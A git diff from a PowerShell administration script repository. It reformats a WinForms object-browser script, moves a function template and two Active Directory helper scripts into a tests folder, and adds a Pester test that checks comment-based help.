the placeholder node. - if($selectedNode.FirstNode -and - ($selectedNode.FirstNode.Text -eq "...")) - { - $selectedNode.Nodes.Clear() - } - else - { - return - } - ## Walk through its parents, creating the virtual - ## PowerShell syntax to access this property. - $nodePath = GetPathForNode $selectedNode + ## A function to add a placeholder if required to a node. + ## If there are any properties or children for this object, make a temporary + ## node with the text "..." so that the node shows a '+' sign to be + ## expanded. + function AddPlaceholderIfRequired($node, $object) { + if (-not $object) { return } - ## Now, invoke that PowerShell syntax to retrieve - ## the value of the property. - Invoke-Expression "`$resultObject = $nodePath" + if ([System.Management.Automation.LanguagePrimitives]::GetEnumerator($object) -or + @($object.PSObject.Properties)) { + $null = $node.Nodes.Add( (New-Object -TypeName Windows.Forms.TreeNode "...") ) + } + } - ## And populate the node with the result object. - PopulateNode $selectedNode $resultObject -} + ## A function invoked when a node is selected. + function OnAfterSelect { + param($Sender, $TreeViewEventArgs) -## A function to handle keypresses on the form. -## In this case, we capture ^C to copy the path of -## the object property that we're currently viewing. -function OnKeyPress -{ - param($Sender, $KeyPressEventArgs) + ## Determine the selected node + $nodeSelected = $Sender.SelectedNode - ## [Char] 3 = Control-C - if($KeyPressEventArgs.KeyChar -eq 3) - { - $KeyPressEventArgs.Handled = $true + ## Walk through its parents, creating the virtual + ## PowerShell syntax to access this property. + $nodePath = GetPathForNode $nodeSelected - ## Get the object path, and set it on the clipboard - $node = $Sender.SelectedNode - $nodePath = GetPathForNode $node - [System.Windows.Forms.Clipboard]::SetText($nodePath) + ## Now, invoke that PowerShell syntax to retrieve + ## the value of the property. + $resultObject = Invoke-Expression $nodePath + $outputPane.Text = $nodePath - $form.Close() + ## If we got some output, put the object's member + ## information in the text box. + if ($resultObject) { + $members = Get-Member -InputObject $resultObject | Out-String + $outputPane.Text += "`n" + $members + } } -} - -## A function to walk through the parents of a node, -## creating virtual PowerShell syntax to access this property. -function GetPathForNode -{ - param($Node) - - $nodeElements = @() - - ## Go through all the parents, adding them so that - ## $nodeElements is in order. - while($Node) - { - $nodeElements = ,$Node + $nodeElements - $Node = $Node.Parent + + ## A function invoked when the user is about to expand a node + function OnBeforeExpand { + param($Sender, $TreeViewCancelEventArgs) + + ## Determine the selected node + $selectedNode = $TreeViewCancelEventArgs.Node + + ## If it has a child node that is the placeholder, clear + ## the placeholder node. + if ($selectedNode.FirstNode -and + ($selectedNode.FirstNode.Text -eq "...")) { + $selectedNode.Nodes.Clear() + } + else { + return + } + + ## Walk through its parents, creating the virtual + ## PowerShell syntax to access this property. + $nodePath = GetPathForNode $selectedNode + + ## Now, invoke that PowerShell syntax to retrieve + ## the value of the property. + Invoke-Expression "`$resultObject = $nodePath" + + ## And populate the node with the result object. + PopulateNode $selectedNode $resultObject } - ## Now go through the node elements - $nodePath = "" - foreach($Node in $nodeElements) - { - $nodeName = $Node.Name - - ## If it was a node that PowerShell is able to enumerate - ## (but not index), wrap it in the array cast operator. - if($nodeName.StartsWith('@')) - { - $nodeName = $nodeName.Substring(1) - $nodePath = "@(" + $nodePath + ")" + ## A function to handle keypresses on the form. + ## In this case, we capture ^C to copy the path of + ## the object property that we're currently viewing. + function OnKeyPress { + param($Sender, $KeyPressEventArgs) + + ## [Char] 3 = Control-C + if ($KeyPressEventArgs.KeyChar -eq 3) { + $KeyPressEventArgs.Handled = $true + + ## Get the object path, and set it on the clipboard + $node = $Sender.SelectedNode + $nodePath = GetPathForNode $node + [System.Windows.Forms.Clipboard]::SetText($nodePath) + + $form.Close() } - elseif($nodeName.StartsWith('[')) - { - ## If it's a child index, we don't need to - ## add the dot for property access + } + + ## A function to walk through the parents of a node, + ## creating virtual PowerShell syntax to access this property. + function GetPathForNode { + param($Node) + + $nodeElements = @() + + ## Go through all the parents, adding them so that + ## $nodeElements is in order. + while ($Node) { + $nodeElements = , $Node + $nodeElements + $Node = $Node.Parent } - elseif($nodePath) - { - ## Otherwise, we're accessing a property. Add a dot. - $nodePath += "." + + ## Now go through the node elements + $nodePath = "" + foreach ($Node in $nodeElements) { + $nodeName = $Node.Name + + ## If it was a node that PowerShell is able to enumerate + ## (but not index), wrap it in the array cast operator. + if ($nodeName.StartsWith('@')) { + $nodeName = $nodeName.Substring(1) + $nodePath = "@(" + $nodePath + ")" + } + elseif ($nodeName.StartsWith('[')) { + ## If it's a child index, we don't need to + ## add the dot for property access + } + elseif ($nodePath) { + ## Otherwise, we're accessing a property. Add a dot. + $nodePath += "." + } + + ## Append the node name to the path + $nodePath += $nodeName } - ## Append the node name to the path - $nodePath += $nodeName + ## And return the result + $nodePath } - ## And return the result - $nodePath -} - -## Create the TreeView, which will hold our object navigation -## area. -$treeView = New-Object Windows.Forms.TreeView -$treeView.Dock = "Top" -$treeView.Height = 500 -$treeView.PathSeparator = "." -$treeView.Add_AfterSelect( { OnAfterSelect @args } ) -$treeView.Add_BeforeExpand( { OnBeforeExpand @args } ) -$treeView.Add_KeyPress( { OnKeyPress @args } ) - -## Create the output pane, which will hold our object -## member information. -$outputPane = New-Object System.Windows.Forms.TextBox -$outputPane.Multiline = $true -$outputPane.ScrollBars = "Vertical" -$outputPane.Font = "Consolas" -$outputPane.Dock = "Top" -$outputPane.Height = 300 - -## Create the root node, which represents the object -## we are trying to show. -$root = New-Object Windows.Forms.TreeNode -$root.Text = "$InputObject : " + $InputObject.GetType() -$root.Name = '$' + $rootVariableName -$root.Expand() -$null = $treeView.Nodes.Add($root) - -## And populate the initial information into the tree -## view. -PopulateNode $root $InputObject - -## Finally, create the main form and show it. -$form = New-Object Windows.Forms.Form -$form.Text = "Browsing " + $root.Text -$form.Width = 1000 -$form.Height = 800 -$form.Controls.Add($outputPane) -$form.Controls.Add($treeView) -$null = $form.ShowDialog() -$form.Dispose() + ## Create the TreeView, which will hold our object navigation + ## area. + $treeView = New-Object -TypeName Windows.Forms.TreeView + $treeView.Dock = "Top" + $treeView.Height = 500 + $treeView.PathSeparator = "." + $treeView.Add_AfterSelect( { OnAfterSelect @args } ) + $treeView.Add_BeforeExpand( { OnBeforeExpand @args } ) + $treeView.Add_KeyPress( { OnKeyPress @args } ) + + ## Create the output pane, which will hold our object + ## member information. + $outputPane = New-Object -TypeName System.Windows.Forms.TextBox + $outputPane.Multiline = $true + $outputPane.ScrollBars = "Vertical" + $outputPane.Font = "Consolas" + $outputPane.Dock = "Top" + $outputPane.Height = 300 + + ## Create the root node, which represents the object + ## we are trying to show. + $root = New-Object -TypeName Windows.Forms.TreeNode + $root.Text = "$InputObject : " + $InputObject.GetType() + $root.Name = '$' + $rootVariableName + $root.Expand() + $null = $treeView.Nodes.Add($root) + + ## And populate the initial information into the tree + ## view. + PopulateNode $root $InputObject + + ## Finally, create the main form and show it. + $form = New-Object -TypeName Windows.Forms.Form + $form.Text = "Browsing " + $root.Text + $form.Width = 1000 + $form.Height = 800 + $form.Controls.Add($outputPane) + $form.Controls.Add($treeView) + $null = $form.ShowDialog() + $form.Dispose() } \ No newline at end of file diff --git a/_Template/Function_Template.ps1 b/_Template/Function_Template.ps1 deleted file mode 100644 index e3c77371..00000000 --- a/_Template/Function_Template.ps1 +++ /dev/null @@ -1,76 +0,0 @@ -Function Get-Something -{ -<# - .SYNOPSIS - A brief description of the Get-Something function. - - .DESCRIPTION - A detailed description of the Get-Something function. - - .PARAMETER ComputerName - A description of the ComputerName parameter. - - .PARAMETER Credential - A description of the Credential parameter. - - .EXAMPLE - PS C:\> Get-Something -ComputerName $value1 -Credential $value2 - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm -#> - PARAM ( - [Alias("CN", "__SERVER", "PSComputerName")] - [String[]]$ComputerName = $env:COMPUTERNAME, - - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - )#PARAM - BEGIN - { - # GlobalVariables - - # Helper function for Default Verbose/Debug message - function Get-DefaultMessage - { - param ($Message) - Write-Output "[$(Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff')][$((Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name)] $Message" - }#Get-DefaultMessage - - # Handlers - - }#BEGIN - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - Write-Verbose -Message (Get-DefaultMessage -Message $Computer) - TRY - { - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { - IF ($PSBoundParameters['Credential']) - { - - } - # Some Action here - }#IF Test-Connection - } - CATCH - { - - }#CATCH - FINALLY - { - - }#FINALLY - }#FOREACH - }#PROCESS - END - { - Write-Verbose -Message (Get-DefaultMessage -Message "Script Completed") - }#END -}#Function \ No newline at end of file diff --git a/_Template/Get-Something.ps1 b/_Template/Get-Something.ps1 new file mode 100644 index 00000000..522b67dd --- /dev/null +++ b/_Template/Get-Something.ps1 @@ -0,0 +1,60 @@ +Function Get-Something { + <# +.SYNOPSIS + A brief description of the Get-Something function. + +.DESCRIPTION + A detailed description of the Get-Something function. + +.PARAMETER ComputerName + A description of the ComputerName parameter. + +.PARAMETER Credential + A description of the Credential parameter. + +.EXAMPLE + Get-Something -ComputerName $value1 -Credential $value2 + +.NOTES + Francois-Xavier Cat + lazywinadmin.github.io + lazywinadmin.com + @lazywinadmin + + 1.0 | 2016/00/00 | Francois-Xavier Cat + Initial Version +#> + [CmdletBinding()] + PARAM ( + [Alias("CN", "__SERVER", "PSComputerName")] + [String[]]$ComputerName = $env:COMPUTERNAME, + + [Alias("RunAs")] + [System.Management.Automation.Credential()] + [pscredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + )#PARAM + TRY { + $FunctionName = $MyInvocation.MyCommand.Name + + + $Splatting = @{ + ComputerName = $ComputerName + } + + IF ($PSBoundParameters['Credential']) { + Write-Verbose -Message "[$FunctionName] Appending Credential" + $Splatting.Credential = $Credential + } + + # MAIN CODE HERE + Write-Verbose -Message "[$FunctionName] Connect to..." + + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + }#CATCH + FINALLY { + #Some Cleanup tasks + }#FINALLY +}#Function \ No newline at end of file diff --git a/_Test/AD-TokenGroups_Test.ps1 b/_Test/AD-TokenGroups_Test.ps1 deleted file mode 100644 index 1463fdf1..00000000 --- a/_Test/AD-TokenGroups_Test.ps1 +++ /dev/null @@ -1,47 +0,0 @@ -$UserSam = "TestAccount" - -$Search = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ErrorAction 'Stop' -$Search.Filter = "(&((objectclass=user)(samaccountname=$UserSam)))" -$Search.FindAll() | ForEach-Object -Process { - $Account = $_ - $AccountGetDirectory = $Account.GetDirectoryEntry(); - - # Add the properties tokenGroups - $AccountGetDirectory.GetInfoEx(@("tokenGroups"), 0) - - - $($AccountGetDirectory.Get("tokenGroups"))| - ForEach-Object -Process { - # Create SecurityIdentifier to translate into group name - $Principal = New-Object System.Security.Principal.SecurityIdentifier($_, 0) - $domainName = [adsi]"LDAP://$($Principal.AccountDomainSid)" - - <# - TypeName: System.Security.Principal.SecurityIdentifier - - Name MemberType Definition - ---- ---------- ---------- - CompareTo Method int CompareTo(System.Security.Principal.SecurityIdentifier sid), int IComparable[SecurityIdentifier].CompareTo(System.Security.Principal.Security... - Equals Method bool Equals(System.Object o), bool Equals(System.Security.Principal.SecurityIdentifier sid) - GetBinaryForm Method void GetBinaryForm(byte[] binaryForm, int offset) - GetHashCode Method int GetHashCode() - GetType Method type GetType() - IsAccountSid Method bool IsAccountSid() - IsEqualDomainSid Method bool IsEqualDomainSid(System.Security.Principal.SecurityIdentifier sid) - IsValidTargetType Method bool IsValidTargetType(type targetType) - IsWellKnown Method bool IsWellKnown(System.Security.Principal.WellKnownSidType type) - ToString Method string ToString() - Translate Method System.Security.Principal.IdentityReference Translate(type targetType) - AccountDomainSid Property System.Security.Principal.SecurityIdentifier AccountDomainSid {get;} - BinaryLength Property int BinaryLength {get;} - Value Property string Value {get;} - #> - # Prepare Output - $Properties = @{ - SamAccountName = $Account.properties.samaccountname -as [string] - GroupName = $principal.Translate([System.Security.Principal.NTAccount]) - } - # Output Information - New-Object -TypeName PSObject -Property $Properties - } -} \ No newline at end of file diff --git a/_Test/Add-LocalGroupMember.ps1 b/_Test/Add-LocalGroupMember.ps1 deleted file mode 100644 index df8be49a..00000000 --- a/_Test/Add-LocalGroupMember.ps1 +++ /dev/null @@ -1,53 +0,0 @@ -Function Add-LocalGroupMember -{ - <# - .SYNOPSIS - .DESCRIPTION - .PARAMETER - .EXAMPLE - .NOTES - Add support for local user/group and ad user/group - - New-ADGroup -Name "AdmServer$env:COMPUTERNAME" -GroupScope Global -GroupCategory Security -Path $ouPath - $fqdn = $_.DNSRoot - ([adsi]"WinNT://./Administrators,group").Add("WinNT://$fqdn/AdmServer$env:COMPUTERNAME") - - #> - [cmdletBinding()] - Param ( - [Parameter(Mandatory = $True)] - [string[]]$ComputerName, - [Parameter(Mandatory = $True)] - [string]$GroupName, - [Parameter(Mandatory = $True)] - [string]$Domain, - [Parameter(Mandatory = $True)] - [string]$Account - ) - BEGIN - { - #Check in AD for SamAccountName - $ADCheck = ([adsisearcher]"(samaccountname=$Account)").findone().properties['samaccountname'] - if ($SamAccountName -notmatch '\\') - { - $ADResolved = (Resolve-SamAccount -SamAccount $SamAccountName -Exit:$true) - $SamAccountName = 'WinNT://', "$env:userdomain", '/', $ADResolved -join '' - } - else - { - $ADResolved = ($SamAccountName -split '\\')[1] - $DomainResolved = ($SamAccountName -split '\\')[0] - $SamAccountName = 'WinNT://', $DomainResolved, '/', $ADResolved -join '' - } - - } - PROCESS - { - $de = [ADSI]"WinNT://$computer/$Group,group" - $de.psbase.Invoke("Add", ([ADSI]"WinNT://$domain/$user").path) - } - END - { - - } -} \ No newline at end of file diff --git a/tests/AD-TokenGroups_Test.ps1 b/tests/AD-TokenGroups_Test.ps1 new file mode 100644 index 00000000..303a85d9 --- /dev/null +++ b/tests/AD-TokenGroups_Test.ps1 @@ -0,0 +1,47 @@ +$UserSam = "TestAccount" + +$Search = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ErrorAction 'Stop' +$Search.Filter = "(&((objectclass=user)(samaccountname=$UserSam)))" +$Search.FindAll() | ForEach-Object -Process { + $Account = $_ + $AccountGetDirectory = $Account.GetDirectoryEntry(); + + # Add the properties tokenGroups + $AccountGetDirectory.GetInfoEx(@("tokenGroups"), 0) + + + $($AccountGetDirectory.Get("tokenGroups")) | + ForEach-Object -Process { + # Create SecurityIdentifier to translate into group name + $Principal = New-Object -TypeName System.Security.Principal.SecurityIdentifier($_, 0) + $domainName = [adsi]"LDAP://$($Principal.AccountDomainSid)" + + <# + TypeName: System.Security.Principal.SecurityIdentifier + + Name MemberType Definition + ---- ---------- ---------- + CompareTo Method int CompareTo(System.Security.Principal.SecurityIdentifier sid), int IComparable[SecurityIdentifier].CompareTo(System.Security.Principal.Security... + Equals Method bool Equals(System.Object o), bool Equals(System.Security.Principal.SecurityIdentifier sid) + GetBinaryForm Method void GetBinaryForm(byte[] binaryForm, int offset) + GetHashCode Method int GetHashCode() + GetType Method type GetType() + IsAccountSid Method bool IsAccountSid() + IsEqualDomainSid Method bool IsEqualDomainSid(System.Security.Principal.SecurityIdentifier sid) + IsValidTargetType Method bool IsValidTargetType(type targetType) + IsWellKnown Method bool IsWellKnown(System.Security.Principal.WellKnownSidType type) + ToString Method string ToString() + Translate Method System.Security.Principal.IdentityReference Translate(type targetType) + AccountDomainSid Property System.Security.Principal.SecurityIdentifier AccountDomainSid {get;} + BinaryLength Property int BinaryLength {get;} + Value Property string Value {get;} + #> + # Prepare Output + $Properties = @{ + SamAccountName = $Account.properties.samaccountname -as [string] + GroupName = $principal.Translate([System.Security.Principal.NTAccount]) + } + # Output Information + New-Object -TypeName PSObject -Property $Properties + } +} \ No newline at end of file diff --git a/tests/Add-LocalGroupMember.ps1 b/tests/Add-LocalGroupMember.ps1 new file mode 100644 index 00000000..b5c965ea --- /dev/null +++ b/tests/Add-LocalGroupMember.ps1 @@ -0,0 +1,47 @@ +Function Add-LocalGroupMember { + <# + .SYNOPSIS + .DESCRIPTION + .PARAMETER + .EXAMPLE + .NOTES + Add support for local user/group and ad user/group + + New-ADGroup -Name "AdmServer$env:COMPUTERNAME" -GroupScope Global -GroupCategory Security -Path $ouPath + $fqdn = $_.DNSRoot + ([adsi]"WinNT://./Administrators,group").Add("WinNT://$fqdn/AdmServer$env:COMPUTERNAME") + + #> + [cmdletBinding()] + Param ( + [Parameter(Mandatory = $True)] + [string[]]$ComputerName, + [Parameter(Mandatory = $True)] + [string]$GroupName, + [Parameter(Mandatory = $True)] + [string]$Domain, + [Parameter(Mandatory = $True)] + [string]$Account + ) + BEGIN { + #Check in AD for SamAccountName + $ADCheck = ([adsisearcher]"(samaccountname=$Account)").findone().properties['samaccountname'] + if ($SamAccountName -notmatch '\\') { + $ADResolved = (Resolve-SamAccount -SamAccount $SamAccountName -Exit:$true) + $SamAccountName = 'WinNT://', "$env:userdomain", '/', $ADResolved -join '' + } + else { + $ADResolved = ($SamAccountName -split '\\')[1] + $DomainResolved = ($SamAccountName -split '\\')[0] + $SamAccountName = 'WinNT://', $DomainResolved, '/', $ADResolved -join '' + } + + } + PROCESS { + $de = [ADSI]"WinNT://$computer/$Group,group" + $de.psbase.Invoke("Add", ([ADSI]"WinNT://$domain/$user").path) + } + END { + + } +} \ No newline at end of file diff --git a/tests/help.tests.ps1 b/tests/help.tests.ps1 new file mode 100644 index 00000000..85409292 --- /dev/null +++ b/tests/help.tests.ps1 @@ -0,0 +1,79 @@ +$scripts = Get-ChildItem -Path (Split-Path $PSScriptRoot -parent) -Recurse -Filter *.ps1 | + Where-Object -FilterScript { + $_.FullName -NotMatch '.Tests.' -and + $_.Fullname -notmatch [regex]::Escape('_Profiles') -and + $_.Fullname -notmatch [regex]::Escape('_Template') + } | Sort-Object + +[regex]$regex = "(^[A-Z\-]+-)" + +Describe 'Comment based help' -Tag @('Help') { + foreach ($script in $scripts) { + $FileContent = Get-Content -Path $script.FullName -TotalCount 1 + + Context "[$($script.BaseName)] Validate Comment Based Help" { + + # Correct name where file name does not match function name + if ($script.Name -Match $regex) { + $name = $script.BaseName.Replace($Matches[0], '') + } + elseif ($script.Name -match 'O365-') { + $name = $script.BaseName.Replace($Matches[0], '') + } + elseif ($script.Name -match 'Function_Template.ps1') { + $name = 'Get-Something' + } + else { + $name = $script.BaseName + } + + # Only process functions and not scripts + if ($FileContent -match 'function') { + + # Dot Source script + . $($script.FullName) + + $functionHelp = Get-Help -Name $name -Full + $functionContent = Get-Content -Path $script.FullName + $functionAST = [System.Management.Automation.Language.Parser]::ParseInput($functionContent, [ref]$null, [ref]$null) + + It 'Contains Description' { + $functionHelp.Description | Should Not BeNullOrEmpty + } + + It 'Contains Synopsis' { + $functionHelp.Synopsis | Should Not BeNullOrEmpty + } + + It 'Contains Examples' { + $functionHelp.Examples | Should Not BeNullOrEmpty + } + + if ($functionAST.ParamBlock) { + It 'Contains Parameters' { + $functionHelp.Parameters | Should Not BeNullOrEmpty + } + } + + It 'Contains Link' { + $functionHelp.relatedlinks.navigationlink | Should match 'https://github.com/lazywinadmin' + } + } + else { + It "[$($script.BaseName)] is not a unique function" { + } -Skip + } + } + } +} +Describe 'Function' -Tag @('func') { + foreach ($myscript in $scripts) { + It "[$($myscript.BaseName)] `$Error[*] Variable should not be present" { + "$($myscript.FullName)" | Should -Not -FileContentMatch ([regex]::Escape('$error[')) + } + It "[$($myscript.BaseName)] Error Handling should be present" { + "$($myscript.FullName)" | Should -FileContentMatch 'try|try\s+{' + } + } +} +